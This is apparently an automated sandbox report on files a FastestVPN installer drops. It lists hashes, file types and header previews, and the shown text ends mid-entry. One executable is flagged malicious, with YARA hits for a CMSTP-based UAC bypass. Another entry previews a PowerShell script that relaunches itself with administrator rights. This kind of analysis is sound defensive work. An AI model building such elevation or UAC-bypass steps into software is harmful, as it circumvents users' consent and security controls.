                                                                                                                SHA-256:8993C69DAA63314019E3D33190140ACAC23704D20AB3BDF946B41969DD23B0A7
                                                                                                                SHA-512:099DAD1E89474F449EF9EA35CC93C2C8A643AF9108FD38FFB7B748FE93F0A25553B135AC6C6E33EDB8B1AD55687CDF182C6FA3E2D5018110D0500C3E2CA35EEA
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y.p...<.....!.............0................(c.........................@........"...@... .........................A....P..........@.............".....................................p.......................R..h............................text...............................`.p`.data...|d.......f..................@.`..rdata..T............d..............@.`@.bss.........`........................`..edata..A............B..............@.0@.idata.......P......................@.0..CRT....,....`......................@.0..tls.... ....p......................@.0..rsrc...@...........................@.0..reloc.............................@.0B/4...........@......................@..B/19......i...P...j..................@..B/31..................,..............@..B/45..................@..............@..B/57..................R..............@.0B/70.....2............Z..

                                                                                                                C:\Program Files\FastestVPN\Resources\is-5L8BD.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):776328
                                                                                                                Entropy (8bit):6.92032788063544
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:uQmCy3NeRjkpQmj3oaMtQqjoygfXq3kon9IlbgaOxQdVJJ6j5EBKX8hUk/K:vmCy3VQs9MtLjTgfa3kon9FaOdEukC
                                                                                                                MD5:6ECA26F16FEB505B1BD0A0A25DA4AEDB
                                                                                                                SHA1:297A6E0D660FAF9E924B2BE827D9D9DC81E4EB85
                                                                                                                SHA-256:CD9005B83CAB43E566F287D1BB1A3DE33F2D67AD5013DC5213232A5DC5309BDB
                                                                                                                SHA-512:78F749E1D591D9AC2C1BB3A47FA7D4099A18303357F990E97D6E531FA50FE2466C8A203504F599C74EE92DFA179CC4AFBC561C60AFD01FA103A3276E79760A46
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ R.HA<.HA<.HA<.A9..KA<.HA=..A<.'7..@<.'7...A<.'7..|A<.'7...A<.'7..IA<.'7..IA<.'7..IA<.RichHA<.........PE..L.....K.........."!................. ....... .....x................................m.....@..........................I......D...(............................... L..h...8...........................pE..@............................................text............................... ..`.data...|Z... ...N..................@....rsrc................X..............@..@.reloc.. L.......N...\..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-625EJ.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):244360
                                                                                                                Entropy (8bit):6.534833630270433
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:lE2PcqwWvsYJlWewlEyDFINgMjY/fVYPCtmA+KiA/R:lE+1JYVEgFugMjXP/A0A/R
                                                                                                                MD5:92CAE75041DFA888EE8284E7C6BB658E
                                                                                                                SHA1:2632FD77EAEDC09977192CFAA19EAEE66F538041
                                                                                                                SHA-256:ACEB2DBBA3948EF0D2908CAE3B2E1586AC82B700C1DE7E6420FA241EFBBB0ECB
                                                                                                                SHA-512:F01AC04FBD3EA1FD4D39D7654DF7D97EB15D60BC9EDFDF36C92176CF8A66FC148E4ECA480F52B7283AF1B9966983F4275A4E221E2D73056A7F3F4290C4D85C17
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R."K...........#...8............`..............k................................Ub........ ......................P.. ....p...$...................................................................................................................text...t...........................`.P`.data...0%.......&..................@.`..rdata..x^.......`..................@.`@.bss.........@........................@..edata.. ....P.......*..............@.0@.idata...$...p...&...H..............@.0..reloc...............n..............@.0B........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-6QD3F.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):27784
                                                                                                                Entropy (8bit):6.488306745612165
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:YVfdXePAee0fxvSDv2atBymU+DpbGEgivBpnpwK3CrFqa2S0FP27NBYearrDVY:afdXfOvObbU+Nb5RgrFq7rK/YfrDS
                                                                                                                MD5:41C55E2A9D5D9B23C08E3DC067780DC7
                                                                                                                SHA1:1FB62C7FCF24F604676896121C1CCAFB628C1BE1
                                                                                                                SHA-256:D76995DCE5A5A3B0D77ABB438C14504F9825A6BC98676F1BA8D0CC18CEBB0545
                                                                                                                SHA-512:396E8878BAFCFC0DF994B9AF23176D343230B6F6EE82A71E14EFA56347EF0C63B4D277C029EF9FB3EF69D6F1B8AE73ECF92D8DCEDC9312E0C8BFA86EC0B611D2
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....7X.................6...........T... ...`....@.. ....................................@..................................T..K....`...............>............................................................... ............... ..H............text....4... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............<..............@..B.................T......H........1..."..........|0..p...........................................6.(.....(....*...0..S............(....o.....s.......o....s.......o......o.........&..o............9.....o.....*.......#..6........../E.......0..E............(....o.....s.......o....s.......o.........&........9.....o.....*.........#../..........!7.......0..M.......~....s......o.....;.....o......#......$@(....o.........&........9.....o.....*...........,7..........4?.......0..M.......~....s......o.....;.....

                                                                                                                C:\Program Files\FastestVPN\Resources\is-6R08K.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):277
                                                                                                                Entropy (8bit):5.0491979415178765
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:ShdEdI5KGdXrSwCoXV+hn5A59eT5U+hLQsPti5FtEEs6EsctB6WEsF2WEsF+v:6dEKwGxOsw7BB6S2zv
                                                                                                                MD5:C8768E552ABCA40175C704E4AF1F030C
                                                                                                                SHA1:7B8A3BC3310EE72006FD2C5A4D5F4FC60171C81B
                                                                                                                SHA-256:50259EEA13E0A9CB0AC48181F8F4345E6558EE8536CC71D0F6E2F63AE9D89D33
                                                                                                                SHA-512:09FD06DB34894F1EC79B607217DC70E204793E04C58B846DC495DC915F38C1311AC1EE0D3C5CCDE636D8A3D6CE5631EF7291D3617FB3F900FD072CEA5831B573
                                                                                                                Malicious:false
                                                                                                                Preview:OpenVPN STATISTICS..Updated,2023-09-03 07:45:36..TUN/TAP read bytes,1979..TUN/TAP write bytes,9103..TCP/UDP read bytes,15521..TCP/UDP write bytes,5150..Auth read bytes,9103..pre-compress bytes,0..post-compress bytes,0..pre-decompress bytes,204..post-decompress bytes,213..END..

                                                                                                                C:\Program Files\FastestVPN\Resources\is-72O2I.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):89736
                                                                                                                Entropy (8bit):5.522767465825831
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:3urhT5+KybRpnE8K74kca7NerB8iXpYmRRXvdi82BSOe9oKSJ2SLD0BEZWkAzrF9:w+KY04RMmSCYmBiF4O7WTn8K/CI
                                                                                                                MD5:2CC3AC572A2170108BABD019F0BFE779
                                                                                                                SHA1:AF962245CE32D5801A380FF7F6B8C87AC7772AB2
                                                                                                                SHA-256:755315DFCC9C72CBE4EB33AF34E9AAC0BD1324C6942F4B56AD9FE0135E1A9299
                                                                                                                SHA-512:891D545DDF35BF8C650FE8EB48A5E5F6F7C50036E42BE893417AF2EF886EB37C5BEEE9DD838A8F020728E4BAE803F2753CC8F6DD7958DD31B5B39DAED7EF464B
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L..."..."..."....."......"......"...#.S."....."..`\..."......"......".Rich..".................PE..L...#.pK.................l..........Td.......................................P......0a....@...... ..........................lm..........p............0.......@...... ...............................0...@............................................text... j.......l.................. ..`.data...4............p..............@....rsrc...p............v..............@..@.reloc.......@.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-92412.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):359
                                                                                                                Entropy (8bit):5.09733291062762
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:i4Z2TyUdkl9WUyUdkwc1+XMoHkyUdk3LASg0TqeXMFXA98XfFZ/FvjCzISMOmEm:jZELklIULktkXxELk35q0MhA98vFZ/FV
                                                                                                                MD5:777B3CBF81DDD8B238BDEDDDEA17AFED
                                                                                                                SHA1:C72F46715DCBC9BDA1E2BEEAC8AF2A64E7B48D08
                                                                                                                SHA-256:DACE14B4A5268728E67A9E78D8F0877F4C87F6B87DDD40DFF28A11E9E42945CF
                                                                                                                SHA-512:5C6D302F93381EBF65ADD3DAA0EB4813270C5D9A042AD9B8A48A575ADC4E751D3834292BB61AEF6A5458036AE6E3C83C8EDFAE5CF828D81317ACAE6675B8E619
                                                                                                                Malicious:false
                                                                                                                Preview:If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))..{ ..$arguments = "& '" + $myinvocation.mycommand.definition + "'"..Start-Process powershell -Verb runAs -ArgumentList $arguments..Break..}.. Set-NetConnectionProfile -NetworkCategory Private

                                                                                                                C:\Program Files\FastestVPN\Resources\is-935KR.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):865416
                                                                                                                Entropy (8bit):6.558002511161394
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24576:dxRZrLEvOx+pFpQlzLyPkET7c5zaSjLUVaoNkUNBKsEpX:dtUmxmpQFLyPkEixWi
                                                                                                                MD5:A151697A9F14639BFA2CB3E470CEA355
                                                                                                                SHA1:FA45D614ABFF2ED9A707E3DFC02F404CFC18A89F
                                                                                                                SHA-256:4794C710A3E624B1A0D956CFE21EC0433FD85BD2D8EB96ACE3F2B5E5302E225C
                                                                                                                SHA-512:888CFD3919482BB56A15E23A73C868C277CA925EED122327E3399C23D0D647F07B9CD67CCAE28AFD1048A41710DA50126B38E75D7455F56AA95BBECA42D228BF
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........*.w.K.$.K.$.K.$.3.$.K.$.>.%.K.$.$l$.K.$.>.%.K.$.>.%.K.$.>.%.K.$w>.%.K.$w>.%.K.$. .%.K.$. .%.K.$.K.$.I.$w>.%.K.$w>.%.K.$w>n$.K.$w>.%.K.$Rich.K.$................PE..d.....b.........."...........................@....................................q.....`.........................................Pd..P....d..........8....P...^..................................................`...8............................................text.............................. ..`.rdata..^...........................@..@.data...............................@....pdata...^...P...`..................@..@.rsrc...8...........................@..@.reloc..............................@..B................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-9D9JG.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):93832
                                                                                                                Entropy (8bit):5.48517352660103
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:kP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGHK/CT:kePOYe4bu1epDh8RWGHK/M
                                                                                                                MD5:A2ADF4897942B99FE0738F8C37FD15C0
                                                                                                                SHA1:4192A2221F5C48A16427BF1898C0443CA27A29BB
                                                                                                                SHA-256:B339B9A93A93B52F3EA0A5F2161E4B16BDA0CA7396D53ECA14C7D7F3E963A3A3
                                                                                                                SHA-512:DF383B4B70C980C613F3C3EC4E99980DA6DB15F123D617197B644314233D1E2ADEC9F9162D6DBB7B874D885119082E01840102F0976F3CC767A78B5E467EF4A8
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p......r.....@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-APR4M.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):8184456
                                                                                                                Entropy (8bit):6.15917051663501
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:98304:AD3K0YyOAYcd0ZLpNu6JmM1W8YcTpOG7ZE78O:ALzUwsFYc9OG7ZE78O
                                                                                                                MD5:5850A25689FA1B36CD6B76E2E7F6BDB3
                                                                                                                SHA1:299CEBD4CD448239BF5094DCC0632100287C0B85
                                                                                                                SHA-256:803870B4FCC1A8C0675EE1D5AA5DEB4132514974CDF0F8F7BA40035377FFDCFA
                                                                                                                SHA-512:F64A196D0FE937112604D7B0CFE2099928987ECEAA650728C88ECE9BAEF288AF2E4BCDD52D3199D8787290F5071287DAFA5DC6FD44775E52CA1E04237411888F
                                                                                                                Malicious:true
                                                                                                                Yara Hits:
                                                                                                                • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Program Files\FastestVPN\Resources\is-APR4M.tmp, Author: Joe Security
                                                                                                                • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: C:\Program Files\FastestVPN\Resources\is-APR4M.tmp, Author: ditekSHen
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........].......".......'..........=........@.......................................}...`... ...............................................c.|.... d.t.............|...... c.....................................................`SY.@............................text.....'.......'................. ..`.rdata..PC1...(..D1...'.............@..@.data... ....PY......0Y.............@....idata..|.....c.......\.............@....reloc....... c.......\.............@..B.symtab.......d.......]................B.rsrc...t.... d.......].............@..@........................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-BQE44.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):94856
                                                                                                                Entropy (8bit):5.499392443352034
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:RmYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7Wm1xK/CpcW:QYFZnRDGdvPXU6K1RWmPK/4h
                                                                                                                MD5:834EE5DA601A6C78C43C64F6C282682F
                                                                                                                SHA1:03920B402B787CA53CD79A66B0B611C899B91F3E
                                                                                                                SHA-256:754B61DA108CC9379585E18DDCE90A8092C1B17DA5D922A6E8D6CE84A90B0F87
                                                                                                                SHA-512:C4A6A49D1EE316FB9EA399487EA17DD813C0A611F473F4FD054D07F6D5C6BB786D40FA478254A499DB3E1D5F0AFDA3B72651EF097945D0C3AA9F0D83D9C0ED06
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv..............................................I.....@.......... ..................................................h.......l....D.......p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-BUHJE.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3490952
                                                                                                                Entropy (8bit):6.105770368598401
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:+VwASO4GIU6injGtlqBGqgOtUyrQ8SFJnofeT5W7aTNP6nZsi61o1CPwDv3uFfJe:xB+btBQQ7UQnZsY1CPwDv3uFfJe
                                                                                                                MD5:474D774A60BCBDBB326C248D1B86C785
                                                                                                                SHA1:C8611E2BEA720BB3B8768BB7F347DE04EAB8B00D
                                                                                                                SHA-256:4FB11C716E57A352D0C40B83F00B73A23B16F4418247AFB0E8CA114C20ED7414
                                                                                                                SHA-512:D25EFAE915E303AB98F86A3131E5C128BFFB0FEE7317C2F28D7A9C9836186C46FDB64008BE98EBF1B7C97F809AD4A170929583B5B899427C405C90503D3D39E0
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.Q.5.?.5.?.5.?.<..'.?.g.>.7.?.g.:.>.?.g.;.=.?.g.<.1.?.!.>.8.?.5.>.?.5.?.+.?...;.N.?...?.4.?.....4.?...=.4.?.Rich5.?.........................PE..d...g..b.........." .....p%...................................................5.......5...`...........................................0..h....4.T.....5.|.....3.......5...... 5..P..T.-.8.............................-.8.............4..............................text....o%......p%................. ..`.rdata........%......t%.............@..@.data....~....2..0...t2.............@....pdata........3.......2.............@..@.idata..T'....4..(...h4.............@..@.00cfg..Q.....5.......4.............@..@.rsrc...|.....5.......4.............@..@.reloc...z... 5..|....4.............@..B................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-FLT4I.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):178552
                                                                                                                Entropy (8bit):6.1636094237053305
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:2h5CDZ37FRuI7hDEjQ777RZ7B7T7N55Fjh/YAWFOEBhzFJEB55jKTrK/T:J3bRn9ZNnB5NfKTW/T
                                                                                                                MD5:3D0E093C2EA9BE7460BFBAD86E6FBB58
                                                                                                                SHA1:C36EB5601DF523DE321146CF1853F899921AB519
                                                                                                                SHA-256:810DD30ED0002E2D71937EA818F77E60B0D385D32CC61D92A466FCB6FDCE5526
                                                                                                                SHA-512:CF4A35C0FAA30FE2B96F2A04E91AFCF9CD08ADF021031C1CEFEF8E2F4028381FD1DEABA7B744AB2245B60A623715CDE8B7C8C9D7AE52728701D773F4B26367BB
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........-......#.....L...................`.....l......................................@... .........................H.......................................t...................................................................................text....K.......L..................`.p`.data........`.......P..............@.0..rdata..,....p.......R..............@.`@.bss..................................`..edata..H............f..............@.0@.idata...............v..............@.0..CRT....,............|..............@.0..tls.... ............~..............@.0..reloc..t...........................@.0B........................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-M7B0D.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):68744
                                                                                                                Entropy (8bit):6.03232541602541
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:OhNHth2MbtFwpJgYCV7JToLDkhqQovzeTJdCK/C1:OhHTbtsRCskcQovzeTJdCK/a
                                                                                                                MD5:41E94A80206A87D947CE6CF5823494BE
                                                                                                                SHA1:558214579EE8F2732C36F779E545BA1340191E49
                                                                                                                SHA-256:E4275E6430AE1EC21A5CD0F2FC382998DEBC1E433A66129527C1B69792F09F95
                                                                                                                SHA-512:54B0DD18BA43C48B3FC21E4366D7D1DC65147A84AFA3DC29D94C4CF80B49FA67150B8303F576683F712E648CAFF516BFEA3A6F93435D6B33DCAB2C43BC762E35
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z..h...h...h.......h......h......h......h......h......h.......h...h..ih.......h.......h...h...h.......h..Rich.h..........PE..d.....b.........."......r...|.......v.........@.............................@............`.................................................x...T.... .......................0..p...................................@...8............................................text....p.......r.................. ..`.rdata...W.......X...v..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..p....0......................@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-MISRG.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):42120
                                                                                                                Entropy (8bit):6.157445136592099
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:tFRn6+bvfApVjLj1mFU6rrFqyO9K/Yfryu:tFFepV3j1mm6/pO9K/COu
                                                                                                                MD5:F6AFD5499FCC5D464085AD889BAE09B7
                                                                                                                SHA1:287C540655FCED0C09DDA2D9C4EADD3F3E210B17
                                                                                                                SHA-256:6EDA54D746C092A45395399319DFC878E5674C84FAB8147821524A0042C03F47
                                                                                                                SHA-512:BFD5ED90D0F16A2F0BCC22B0E847D5781A7B11D6912A51CDC8FCAAD80BF191D821418F7544BF52BF6E1AAA47D06A5442601543E9C25B2352D4E23AFC0C4668F9
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......kT../5../5../5..&M<.#5..}@..-5..}@..=5..}@..%5..}@..,5..;^..$5../5..p5...@..,5...@P..5...@...5..Rich/5..........PE..d.....b.........."......0...H.......4.........@....................................e.....`.................................................4g..........@............v..........8...P]...............................]..8............@...............................text..../.......0.................. ..`.rdata...3...@...4...4..............@..@.data...H............h..............@....pdata...............j..............@..@.rsrc...@............n..............@..@.reloc..8............t..............@..B................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-PGVDP.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):918536
                                                                                                                Entropy (8bit):6.038516348303836
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:Kts+IUZyyi1sznLRjH0qawdB1iT7jwq7Kjn+o/J:KtLIUZPyaVH0qawP1iDwjn+oh
                                                                                                                MD5:6F1B7C24C5FF662F4364B323F42C101A
                                                                                                                SHA1:B74949B7A809F8139BD89BD5B96E230108A6615D
                                                                                                                SHA-256:034248CEFD5BC35A927682E44B79C354A0AEE25E800CF99D86EC591FD8722B5A
                                                                                                                SHA-512:B13B4A46FB14C687925DE21982C4DE66C201E9FE16D7C03B2C65900CEF47C5E6DB338545E868EE6216C2A92453557BEA6C0D084B5D76A731CAA00BA821FA40E0
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...../...................H................@.................................n.....@... .........................N.......(................................a...................................................#..`............................text...............................`.P`.data....%.......&..................@.`..rdata..D...........................@.`@.bss.....G............................`..edata..N...........................@.0@.idata..(...........................@.0..CRT....4...........................@.0..tls.... ............0..............@.0..reloc...a.......b...2..............@.0B/4...........P......................@..B/19..........`......................@..B/31.....]............8..............@..B/45.......... .......T..............@..B/57..........@.......p..............@.0B/70..........P.......x..............@..B/81..........`.......~..

                                                                                                                C:\Program Files\FastestVPN\Resources\is-PVOM6.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):99976
                                                                                                                Entropy (8bit):6.499161413646961
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:yWHL+4KsAzAfadZw+1Hcx8uIYNU5U9H0Q8ecbjt1BHK/CeS:yWr/Z+jPYNV9H0Q8ecbjt1BHK/pS
                                                                                                                MD5:85054BAF6D0A7D31A18183ACC4CBA133
                                                                                                                SHA1:24830C002FFAB31102DFB674B52AFFD74E90E708
                                                                                                                SHA-256:EC86F182F55A338E26F598638F18422E474C6D6C651E1D9955D0303254BF6DDD
                                                                                                                SHA-512:B6B7D9115ED1D734D7C0EB09E7C7C96EEC29E2C59B8943586976F2182E46B660B99C1947ACF2C1DEB75595771A78B7405FDDBB989A2F06CF88E4AD3D8824055A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q.."<..#o.."<.g"o.."<..#o.."Richn.."................PE..d.....`.........." .........`......p................................................>....`A.........................................B..4....J...............p..X....X..............h,..T............................,..8............................................text............................... ..`.rdata...@.......B..................@..@.data...@....`.......@..............@....pdata..X....p.......D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..............@..B........................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-SRDRF.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):700040
                                                                                                                Entropy (8bit):5.552155208041958
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:UB4x/cH7gueaxFi00ZoPqETRzRnYhUpfakLaugPoDhTMY98c8mvVfU2lvzpi/O:avziRZoXuugCtD8JmvNU2lvzpiG
                                                                                                                MD5:6EE5C92E2918B27974086A6F24D79043
                                                                                                                SHA1:40595B75A513BBF1BE16780784E13EFDAD2E40C7
                                                                                                                SHA-256:86F3A19221C710CFF12607FEB00D8CD0AF932873430AD1B59C990593010EC3CF
                                                                                                                SHA-512:F07BBE5D367D6F7474E08507F3827BDCAC5503673F2027CA139303FA573F4EEB7D82A9D88EE0F3291F53629C0644B39E2C81380B45F8E2A286FFCC326AE0E4B7
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............]...]...]..M]...]..\...]...\...]..\...]..\...]..\...]H..\...]...]o..]H..\...]H..\...]H.!]...]H..\...]Rich...]........PE..d...g..b.........." .....:...L......<.....................................................`..........................................+...N..@E..........s........L..............h.......8...........................@...8............0..@............................text....8.......:.................. ..`.rdata...)...P...*...>..............@..@.data...QM.......D...h..............@....pdata...T.......V..................@..@.idata..*W...0...X..................@..@.00cfg..Q............Z..............@..@.rsrc...s............\..............@..@.reloc..]............d..............@..B................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-V8SS9.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):585512
                                                                                                                Entropy (8bit):6.002108518534667
